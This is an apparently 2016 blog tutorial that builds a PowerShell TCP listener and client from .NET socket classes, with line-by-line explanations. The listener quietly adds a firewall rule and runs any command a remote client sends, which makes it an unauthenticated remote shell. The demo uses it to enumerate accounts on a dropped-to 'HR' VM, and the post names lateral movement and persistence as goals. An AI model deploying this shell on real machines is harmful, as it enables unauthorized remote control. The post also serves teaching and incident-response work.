Pages

Monday, July 25, 2016

PowerShell: TCP Client-Server with .NET Classes

Following the same situation as one of my last posts:  Python:Client-Server Socket Programming I, how many times have you been in a network where you couldn't run tools such as netcat, nmap, psexec,.. (you name them), and all you can use is a standard-built Windows computer without any pentesting/forensics tools installed? How could you drop/pull files/forensic artifacts, execute commands over the network, encrypt your traffic, move laterally, or even spin a temp http server during an investigation or pentest?

In this post, I will go over how to build a simple TCP Client-Server infrastructure with the help of .NET classes. This will allow you to reinforce the basics of how to use.NET classes via PowerShell learned in my first PowerShell article: PowerShell: Explore .NET Classes 101.  Furthermore, you will be able to have a better understanding of how TCP Client-Server communications work (Looking under the hood!), which will be a good foundation for other PowerShell implementations regarding networking and .NET Classes.

As usual, I will start with some requirements for this program and some definitions in order to make things easier for you guys to understand. In addition, I will be providing as many details as I can so that you don't have to Google as much and a few references if you are interested in reading more about this topic.


Requirements 
  • At least Windows 7
  • At least PowerShell v2 - Compatible with any type of environment
  • PowerShell ISE - The Windows PowerShell Integrated Scripting Environment (Editor)
  • Basic understanding of .NET Classes (I recommend to read: PowerShell: Explore .NET Classes 101, at least)



System.Net.Sockets Namespace - Sockets Type

Provides a managed implementation of the Windows Sockets (Winsock) interface for developers who need to tightly control access to the network. 


Class
Description
TcpClient  Provides client connections for TCP network services
TcpListener Listens for connections from TCP network clients
NetworkStream Provides the underlying stream of data for network access



System.Text Namespace - Text Type

It contains classes that represent ASCII and Unicode character encodings; abstract base classes for converting blocks of characters to and from blocks of bytes; and helper class that manipulates and formats string objects without creating intermediate instances of string. 


Class
Description
ASCIIEncodingRepresents an ASCII character encoding of Unicode characters
StringBuilder Represents a mutable string of characters
DecoderConverts a sequence of encoded bytes into a set of characters


Simple TCP Server

Quick Overview:
  • Define parameters to the script (Port Number where it will be listening on)
  • Start the listener on the specific port
  • Start accepting connection requests
  • Connection request is accepted and TCP Client .NET object is created to  allow the server to handle the remote communication.
  • TCPClient .NET object uses its GetStream() method in order return a NetworkStream .NET object which will be used to receive and send data back to the remote client.
  • Create a while loop to send and receive commands from the client
    • Commands sent by client get executed on the server and results are sent back to the client.
  • Once the connection is interrupted or terminated, the loop finishes and the server shutdown itself successfully by  closing or disposing the TCP Client handle  and the Network Stream. Also, the listener is stopped successfully.


Code


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
function Power-listener
{
    [CmdletBinding()]
    Param (
        [Parameter()]
        [Alias('p')]
        [int]$port
    )

    netsh advfirewall firewall delete rule name="cyclops $port" | Out-Null
    netsh advfirewall firewall add rule name="cyclops $port" dir=in action=allow protocol=TCP localport=$port | Out-Null

    $Tcplistener = New-object System.Net.Sockets.TcpListener $port
    $Tcplistener.Start()
    Write-host "[**] Listening on 0.0.0.0:$port [TCP]"
    $TcpClient = $Tcplistener.AcceptTcpClient()
    $remoteclient = $TcpClient.Client.RemoteEndPoint.Address.IPAddressToString
    Write-Verbose "[**] New connection coming from: $remoteclient"

  • Open your PowerShell ISE and start coding
  • Line #1: I start by creating a PowerShell function which, at the end, will hold all the code I need for my TCP server. The rest of the TCP server code will just have to be added under Line #13 following the same indentation.
  • Line #3: CmdletBinding adds great capabilities to your code such as parameter checking, confirm and whatif, and even verbose output.
  • Line #4-8: Param allows you to set parameters to your function. In order to add another parameter you will just have to add a comma after $port and then follow the same syntax as the first one. In this case, we are defining a parameter type Integer with the name $Port which will allow you to specify the port number where your server will be listening on. In addition, I have a parameter property called Alias which will allow me to use "-p" instead of "-port" if I want to while running the script. 
  • Line #10-11: Uses the netsh utility to modify the network configuration of the server. In this script, just in case, if an inbound firewall rule with the same name and port as the one I am about to create exists, it deletes it. Then, it adds a new inbound TCP firewall rule, names it PSListener and binds it to the desired port. Pipping it to Out-Null will delete any output generated after creating the rule (Avoids pop-ups on the screen).
  • Line #13: Initialize a new instance of the TCPListener class that listens on the port provided while running this function. The variable $TcpListener as a .NET object can now use any method from the TcpListener Class.
  • Line #14: Use the start() method available in the TcpListener Class in order to start the listener.
  • Line #15: Adds some text to make it look pretty while listening on the port provided at run time.
  • Line #16: Accepts a pending connection request. This method returns a TcpClient object that can be used to handle the remote communication with the client. This method is a blocking call, so it will not move to the next line or accept any input unless a connection request is sent and accepted.
  • Line #17-18: Uses the $TcpClient object and the right properties to get the IP of the remote client. Then, it uses that variable to indicate where a new connection is coming from.




1
2
3
4
5
6
7
    $TcpNetworkstream = $TCPClient.GetStream()
    $Receivebuffer = New-Object Byte[] $TcpClient.ReceiveBufferSize
    $encodingtype = new-object System.Text.ASCIIEncoding

    $bytestosend = $encodingtype.GetBytes("`nYou have accessed ["+(hostname)+"] as: "+(whoami)+"`n")
    $bytestosend += $encodingtype.GetBytes(("`n["+(hostname)+"] PS " + (Get-Location).Path) +'> ') 
    $TcpNetworkstream.Write($bytestosend, 0, $bytestosend.Length)

  • Line #1: Uses the method GetStream() from the TcpClient Object. This method will return a Network Stream that will be used to send and receive data. 
  • Line #2: The ReceiveBufferSize property gets the number of bytes that it expects to store in the receive buffer for each read operation. This property actually manipulates the network buffer space allocated for receiving incoming data. On this line, it is basically initiating an object which will get the buffer size of the TcpClient object. This will be used as our Buffer variable when receiving data from the client. 
  • Line #3: Sets the $EncodingType variable to ASCIIEncoding. This will be used when we send data over to the client.
  • Line#5-6: This portion of the code allows the server to craft a message which will be sent later to the client as soon as the connection is established. This can be used to send a banner. For example, "Only Authorized users...". In this case, I am just sending a simple message letting the client know that it has accessed the server and the name of the specific current user that was used to invoke this script. In addition, it sends a "Shell Look" so that the client gets the reverse shell feeling or the interactive PSSession style.
    • Example: "[Server1001] PS C:\windows\System32\ >"
  • Line #7: Uses the method Write() from the $TcpNetworkstream object  in order to send the message over to the remote client.The write method blocks until the requested number of bytes is sent or an exception is thrown.The parameters of this specific operation are the following:
    • Buffer:  An array of type Byte that contains the data to write to the NetworkStream. (In this case it will be basically the contents of variable $bytestosend)
    • Offset: The location in buffer from which to start writing data
    • Size: The number of bytes to write to the NetworkStream. We just have to calculate the lenght of the variable $bytestosend which contains our message.




 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
    try {
        while ($TCPClient.Connected){
            $Read = $TcpNetworkstream.Read($Receivebuffer, 0, $Receivebuffer.Length)
            if( $Read -eq 0){break}                  
            else{            
                [Array]$Bytesreceived += $Receivebuffer[0..($Read -1)]
                [Array]::Clear($Receivebuffer, 0, $Read)
            } 
            
            if ($TcpNetworkstream.DataAvailable) {continue}
            else{
                $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($Bytesreceived))
                if ($ScriptBlock -match "break") {
                    $sendback = $encodingtype.GetBytes(("`n[!!!] Closing Connection with ["+(hostname)+"]. Press ENTER to continue.."))
                    $TcpNetworkstream.Write($sendback, 0, $sendback.Length)  
                    $TcpNetworkstream.Flush()   
                    break
                }
                $Global:Error.Clear()

                try{ 
                    $results = $ScriptBlock.Invoke() | Out-String
                    $sendback = $encodingtype.GetBytes($results)
                }
                catch{ 
                    write-verbose "[!!!] NOT VALID COMMAND"
                    foreach ($Err in $Global:Error) {
                        $sendback = $encodingType.GetBytes($Err.Exception.Message) 
                    }
                }
                write-verbose "Results: $results"

                $sendback += $encodingtype.GetBytes(("`n["+(hostname)+"] PS " + (Get-Location).Path) +'> ')
                $TcpNetworkstream.Write($sendback, 0, $sendback.Length)   
                $TcpNetworkstream.Flush()
                $results = $null
                $Bytesreceived = $null
            }
        }
    }
    catch {"`n[!!!] TCP connection is broken, exiting.."}


  • Line #1: Starts a Try/Catch block in order to catch and handle an exception. This will wrap the whole while loop for the send and receive operations.
  • Line #2: starts a while loop using the $TcpClient's connected property in order to verify if the remote client is still connected to the server socket. This loop will keep happening as long as the connection with the remote client is alive. 
  • Line #3: Uses the Read() method from the NetworkStream object in order to read data(in this case commands) sent by the remote client. It reads the data into the buffer parameter and returns the number of bytes successfully read. If no data is available for reading, the read method returns 0. The read operation reads as much data as is available up to the number of bytes specified by the size paramater. The parameters for the Read() method are the following:
    • Buffer: An array of type Byte that is the location in memory to store data read from the Networkstream. In this case will be our $Receivebuffer variable.
    • Offset: Location in buffer to begin storing the data to.
    • Size: The number of bytes to read from the Networkstream. In this case, it will be the length of our $Receivebuffer variable.
  • Line#4Creates a conditional to stop the while loop if the read method returns 0. 
  • Line #5-6: Else, if the Read method doesn't return 0, then it maps the full array of the data that was read ($read) to the buffer ($Receivebuffer). The "+=" operator means that it adds elements to the $Bytesreceived array instead of replacing its content with something new (=). This will be helpful when the listener has to do more than one read cycle to get all the information sent by the client. Next, the array list of items are specified as [0..($read -1)] because, as you know, the first item of an array starts at location 0, and the last element will be the number of bytes successfully read ($read) minus 1 since it started on 0.
  • Line #7: Uses the method Clear() from the Class Array in order to reset each element type's default value. In this case the array that will be reset is the $Receivebuffer array since it contains the data that was read. The parameters for the clear() method are the following:
    • Array: The array whose elements need to be cleared
    • index: Starting index of the range of elements to be clear
    • length: the number of elements to be clear (We can use the variable $Read since it contains the number of bytes successfully read. 
  • Line #10: creates an If conditional to check if there is still data available in the TCPNetworkStream to read. This usually happens when the data sent from the remote client is bigger than the buffer. if so, it goes back to line #3 to read again.
  • Line #11-12: if there is not extra data to read, it defines a variable ($Scriptblock) to store the string sent by the remote client. It uses the method Create() from the ScriptBlock Class in order to initialize a new instance of the ScriptBlock Class with the specific String in between its parentheses. But first, it uses the method GetString() from the $EncodingType object (ASCII) in order to decode the byte Array of the data captured while reading ($BytesReceived) into a string.
  • Line #13-17: Creates an If conditional to check if the remote client sent the command "break". if so, it sets the $sendback variable with a message which will be sent to the remote client. It uses the write method from the $TCPNetworkStream object in order to send the message over to the remote client. Next, it uses the method Flush() from the $Networkstream object to flush the data currently contained in the Networkstream in order to keep receiving and sending data. Finally, it breaks the loop in order to move to the last part of the script in order to terminate the communication gracefully.
  • Line #19: Creates a Global variable and clear any errors that might have been in the queue error. This allows you to later show errors related to a current operation.
  • Line #25-28: Uses a Try/Catch block again. During the Try section, the script uses the Scriptblock object holding the command strings and its method Invoke() in order to execute the scriptblock (commands). Then, it pipes the results of the invokation (Powershell Objects), and converts them into an array of Strings which is then appended to a new variable called $results. The variable  $sendback is defined to carry the strings/content of the variable $results. During the Catch  section, If the invokation fails, it means that the remote client sent an Invalid Command, and the error message replaces the contents of the variable $sendback which will be sent to the remote client.
  • Line #31: For troubleshooting purposes, this line allows you to use verbose and shows you what is sending back to the remote client. 
  • Line #33-35: Adds the Shell Look style to the content of $sendback after the results of the Try/Catch block in order to keep the Shell look going on (as long as the while loop is not interrupted). Also, it uses the method Write() from the $networkstream object in order to write data to the Networkstream and send it over to the remote client. Finally, it uses the method Flush() from the $Networkstream object to flush the data currently contained in the Networkstream in order to keep receiving and sending data.The parameters for the Write() method are the following:
    • Buffer: An array of type byte that contains the data to write to the Networkstream.
    • Offset: The location in buffer from which to start writing data.
    • size:  the number of bytes to write to the Networkstream.
  • Line #36-37: Clears the $results and $Bytesreceived variables to use them again in the loop. 
  • Line #41: Catches the while loop exception and shows a custom message. The while loop verifies if the connection is alive, so if the loop breaks, most likely it is because the communication got interrupted or the remote client sent the command Break.




 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    try{
        if ($PSVersionTable.CLRVersion.Major -lt 4) {$Tcpclient.Close(); $TcpNetworkstream.Close(); $Tcplistener.Stop()}
        else {$TcpNetworkstream.Dispose(); $Tcpclient.Dispose(), $Tcplistener.Stop()}

        Write-Verbose "[**] TCPClient Connected : $($TcpClient.Connected)"
        Write-Verbose "[**] TCPListener was stopped gracefully"
        Write-Verbose "[**] TCPNetworkStream was closed/disposed gracefully`n"

        netsh advfirewall firewall delete rule name="cyclops $port" | Out-Null
        Write-Verbose "[**] FW Rule has been deleted.."
    }
    catch { Write-Warning "Failed to close TCP Stream"}
}

  • Line #1: Initiates a Try/Catch block 
  • Line #2-3: creates an If condition to check the version of Powershell  you are running the script from so that it can either close or dispose the TcpClient object and Networkstream accordingly. The TcpListener uses the method stop() no matter what version of powershell you are running the script from. 
  • Line #5-7: Verbose messages confirming that there were not errors while closing/disposing the connections.
  • Line #9-10: Uses the netsh utility to delete the inboud rule created at the beginning of the script. Pipping to out-null will delete any output generated after creating the rule (Avoids pop-ups on the screen).
  • Line #12: Uses the Catch section of the block to show a warning message in case the closing, disposing and stopping operations fail.
  • Line #13: Closing bracket of the whole script/function



Simple TCP Client

Quick Overview:
  • Define parameters to the script (IP address of the server and port number where it is listening on)
  • Connect to the server on the specific port
  • If connection is accepted then the NetworkStream is obtained from the client TCP Client .NET object that was used to connect to the server.
  • Create a while loop to send commands and receive results from the server.
    • The server will invoke every valid command sent by the client
  • Once the connection is interrupted of terminated, the loop finishes and the client closes or disposes the TcpClient handle and the Networkstream.


Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function Power-Client
{
    [CmdletBinding()]
    Param (
        [Parameter()]
        [Alias('c')]
        [string]$RemoteComputer,

        [Parameter()]
        [Alias('p')]
        [int]$port
    )
    
    $Tcpclient = New-Object System.Net.Sockets.TcpClient
    $Tcpclient.Connect($RemoteComputer, $port)    
    $serverip = [System.Net.IPAddress]::Parse($RemoteComputer)  

  • Line #1: I start by creating a PowerShell function which, at the end, will hold all the code I need for my TCP Client. The rest of the TCP server code will just have to be added under Line #18 following the same indentation.
  • Line #3: CmdletBinding adds great capabilities to your code such as parameter checking, confirm and whatif, and even verbose output.
  • Line #4-12: Param allows you to set parameters to your function. In order to add another parameter you will just have to add a comma after $Port and then follow the same syntax as the first one. In this case, we are defining two parameters. The first parameter is a calls for a String and it is named $RemoteComputer . This will allow you to input the IP of the server or any other computer running the Listener script. In addition, the first parameter has property called Alias which will allow me to use "-c" instead of "-RemoteComputer" if I want to while running the script.  The second parameter is calls for an Integer and it is named $Port which will allow you to specify the port number where the remote server or computer is listening on. In addition, it also has an Alias defined which will allow me to use "-p" instead of "-port" if I want to while running the script. 
  • Line #14: Initialize a new instance of the TCPclient class. The variable $Tcpclient as a .NET object can now use any method from the TcpClient Class.
  • Line #15: Use the connect() method from the TcpClient Class in order to connect to the remote Tcp Server using a specific IP and port number. 
  • Line #16: Uses the Parse() method from the IPAddress Class to convert the IP address string of the remote tcp server to an IPAddress instance/Object. This will return an object that could use methods and properties from the IPAddress Class. useful to gather information about the IP address. (This is just to show you how classes work. If you only need the string of the server IP, you can just call the variable $RemoteComputer.)





 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    if($TCPClient.Connected){
        Write-Verbose "[**] Connection to $($serverip.IPAddressToString):$port [TCP] succeeded!"
    }
    else{
        Write-Verbose "[!!!] Connection to $($serverip.IPAddressToString):$port [TCP] Failed!" $($_.Exception.Message)
    }    

    $TcpNetworkstream = $Tcpclient.GetStream()
    $Receivebuffer = New-Object Byte[] $TcpClient.ReceiveBufferSize
    $EncodingType = New-Object System.Text.ASCIIEncoding

  • Line #1-6: Creates an If condition using the Connected() property from the $TcpClient object in order to check if the client is connected to the remote Tcp server. If it is, it shows verbose indicating that the connection to the remote tcp server succeeded on the indicated port. If it does not, then it shows verbose indicating that the connection failed and shows the exception message.
  • Line #8: Uses the method GetStream() from the TcpClient Object. This method will return a Network Stream that will be used to send and receive data. 
  • Line #9: The ReceiveBufferSize property gets the number of bytes that it expects to store in the receive buffer for each read operation. This property actually manipulates the network buffer space allocated for receiving incoming data. On this line, it is basically initiating an object which will get the buffer size of the TcpClient object. This will be used as our Buffer variable when receiving data from the remote server. 
  • Line #10: Sets the $EncodingType variable to ASCIIEncoding. This will be used when we send data (commands) over to the server.





 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
    try { 
        while ($TCPClient.Connected){
            $Read = $TcpNetworkstream.Read($Receivebuffer, 0, $Receivebuffer.Length)
            if( $Read -eq 0){break}                  
            else{            
                [Array]$Bytesreceived += $Receivebuffer[0..($Read -1)]
                [Array]::Clear($Receivebuffer, 0, $Read)
            }      
            
            if ($TcpNetworkstream.DataAvailable) {continue}
            else{  
                write-host -NoNewline $EncodingType.GetString($Bytesreceived).TrimEnd("`r")      
     
                $sendback = $EncodingType.GetBytes((read-host) + "`n")
                $TcpNetworkstream.Write($sendback, 0, $sendback.Length)
                $TcpNetworkstream.Flush()
                $Bytesreceived = $null  
            }
        }                     
    }
    catch {Write-warning "`n[!!!]TCP connection is broken, exiting.."}

  • Line #1: Starts a Try/Catch block in order to catch and handle an exception. This will wrap the whole while loop for the send and receive operations.
  • Line #2: starts a while loop using the $TcpClient's connected property in order to verify if the remote client is still connected to the server socket. This loop will keep happening as long as the connection with the remote client is alive. 
  • Line #3: Uses the Read() method from the NetworkStream object in order to read data(in this case commands) sent by the remote client. It reads the data into the buffer parameter and returns the number of bytes successfully read. If no data is available for reading, the read method returns 0. The read operation reads as much data as is available up to the number of bytes specified by the size paramater. The parameters for the Read() method are the following:
    • Buffer: An array of type Byte that is the location in memory to store data read from the Networkstream. In this case will be our $Receivebuffer variable.
    • Offset: Location in buffer to begin storing the data to.
    • Size: The number of bytes to read from the Networkstream. In this case, it will be the length of our $Receivebuffer variable.
  • Line#4Creates a conditional to stop the while loop if the read method returns 0. 
  • Line #5-6: Else, if the Read method doesn't return 0, then it maps the full array of the data that was read ($read) to the buffer ($Receivebuffer). The "+=" operator means that it adds elements to the $Bytesreceived array instead of replacing its content with something new (=). This will be helpful when the listener has to do more than one read cycle to get all the information sent by the client. Next, the array list of items are specified as [0..($read -1)] because, as you know, the first item of an array starts at location 0, and the last element will be the number of bytes successfully read ($read) minus 1 since it started on 0.
  • Line #7: Uses the method Clear() from the Class Array in order to reset each element type's default value. In this case the array that will be reset is the $Receivebuffer array since it contains the data that was read (This will be hel. The parameters for the clear() method are the following:
    • Array: The array whose elements need to be cleared
    • index: Starting index of the range of elements to be clear
    • length: the number of elements to be clear (We can use the variable $Read since it contains the number of bytes successfully read. 
  • Line #10: creates an If conditional to check if there is still data available in the TCPNetworkStream to read. This usually happens when the data sent from the remote client is bigger than the buffer. if so, it goes back to line #3 to read again. 
  • Line #11-12: Else, it shows the results on the screen. (Remember that the server executes commands and then sends the results back)
  • Line 14#: A new variable is defined and named $sendback which will be used to carry the strings/content/commands provided by the user via the use of the Read-Host CmdLet( It reads a line of input from the console).
  • Line #15: Uses the method Write() from the $networkstream object in order to write data to the Networkstream and send it over to the remote server. 
  • Line #16: Finally, it uses the method Flush() from the $Networkstream object to flush the data currently contained in the Networkstream in order to keep receiving and sending data. Flushing would be the last operation of the While loop. The parameters for the Write() method are the following:
    • Buffer: An array of type byte that contains the data to write to the Networkstream.
    • Offset: The location in buffer from which to start writing data.
    • size:  the number of bytes to write to the Networkstream.
  • Line #17: Clears the $Bytesreceived variable to use it again in the loop when there is more data to read. 
  • Line #21: Catches the while loop exception and shows a custom message. The while loop verifies if the connection is alive, so if the loop breaks, most likely it is because the communication got interrupted.





1
2
3
4
5
6
7
8
    try{
        if ($PSVersionTable.CLRVersion.Major -lt 4) { $Tcpclient.Close(); $TcpNetworkstream.Close()}
        else {$TcpNetworkstream.Dispose(); $Tcpclient.Dispose()}
        Write-host "`n[**] TCPClient Connected: $($Tcpclient.Connected)" -ForegroundColor Cyan
        Write-host "[**] TCPNetworkStream was closed/disposed gracefully..`n" -ForegroundColor Cyan
    }
    catch { Write-Warning "[!!!]Failed to close TCP Stream"}       
}

  • Line #1: Initiates a Try/Catch block 
  • Line #2-3: creates an If condition to check the version of Powershell  you are running the script from so that it can either close or dispose the TcpClient object and Networkstream accordingly. 
  • Line #4-5: Messages to confirm that the connection and Stream were closed/disposed gracefully.
  • Line #7: Uses the Catch section of the block to show a warning message in case the closing and disposing operations fail.
  • Line #6: Closing bracket of the whole script/function


As you can see, both scripts are very similar, and I decided to keep them separate so that it is easier to understand the unique lines of code and how they integrate with the rest of the script. You can have these two scripts merged under one and just have switches to select different functionalities depending if it is running as a server or client.



Testing the TCP Client-Server infrastructure 

First Scenario (Simple):
  • I have my Windows7 VM acting as a host from "an HR department".
  • I set up a simple HTTP File Server on my local computer and have my VM download the script, run the script on port 4455 and enable verbose
    • All these steps can, of course, be automated, but for the purpose of this example, I wanted you to understand how the script, all of the sudden, appeared on my VM.
  • On my local computer, I run the Client script and provide parameters, Server IP and Port number to connect to the TcpServer.
  • I get the the Banner "You have accessed [W7Hresources]  as w7hresources\employee
  • I just double check if I am who it says I am, and then try to gather more information about the local accounts on that computer. As you can see you can run any valid PowerShell command (in this example I ran Get-wmiObject -Class Win32_userAccount -Filter "LocalAccounts='True'"
  • As you can see, I am not the first one that has messed with this VM (hacker account!)
  • Finally, I check what privileges the user Employee has.....






Second Scenario (Live-Memory Analysis)
  • Wouldn't you like to see more Blue use cases with PowerShell? I mean besides Power-Forensics and a few projects out there to collect information from a compromised host, I feel that there are not many articles/projects showing good examples of PowerShell being used during IR engagements (I know we shouldn't trust the APIs but I mean automating other tools and applying similar concepts as Power-Forensics)
  • This example will just show the same compromised VM but now from an IR perspective.
  • Let's say you don't have an admin password to access the computer remotely, but have the capability to deploy an application or a script via Remote software management services. You can drop a folder or toolkit with applications or scripts in order to automate an expedite your investigation.
  • You can use PowerShell to automate everything for you.
  • In this example, I downloaded the Rekall Framework folder (ready to be used with a PowerShell Module inside) from my local HTTP File server (making it look as if it was the enterprise cloud service).
  • I import the module and then run the function Invoke-Rekall with its respective parameters to perform live memory analysis.
    • I used a basic plugin named PsList to show me a table of all the processes running in the computer (Analyzing memory)  (Remember no to trust APIs?)





 


I hope this was really helpful for those that were not that familiar with .NET classes and the way that PowerShell can be used to build client-server infrastructures. This is just a basic client-server build, but even at this level of complexity, it shows how valuable and powerful it could be. My next posts on this topic will be gradually taking this script to the next level. I will be talking about encryption, send/receive files, a GUI, and even persistence capabilities with this script as a foundation. 

Feedback is appreciated!




References

https://msdn.microsoft.com/en-us/library/system.net.sockets(v=vs.110).aspx  - System.Net.Sockets Namespace
https://msdn.microsoft.com/en-us/library/gg145039(v=vs.110).aspx - System.Net Namespaces
https://technet.microsoft.com/en-us/library/bb490939.aspx - Netsh
https://msdn.microsoft.com/en-us/library/system.net.sockets.tcplistener(v=vs.110).aspx - Listener Class
https://technet.microsoft.com/en-us/library/hh849716.aspx - Out-Null
https://msdn.microsoft.com/en-us/library/system.array.clear(v=vs.110).aspx - Array
https://msdn.microsoft.com/en-us/library/system.management.automation.scriptblock(v=vs.85).aspx - ScriptBlock
https://technet.microsoft.com/en-us/library/hh849952.aspx - Out-String
https://msdn.microsoft.com/en-us/library/system.net.sockets.networkstream(v=vs.110).aspx - NetworkStream
https://msdn.microsoft.com/en-us/library/system.net.sockets.tcpclient(v=vs.110).aspx - TcpClient Class
https://msdn.microsoft.com/en-us/library/system.net.ipaddress.parse(v=vs.110).aspx - IPAddress Parse

https://technet.microsoft.com/en-us/library/hh849945.aspx - Read-Host

1 comment:

  1. This is really nice to read content of this blog. A is very extensive and vast knowledgeable platform has been given by this blog. I really appreciate this blog to has such kind of educational knowledge.
    HP V142 Rack

    ReplyDelete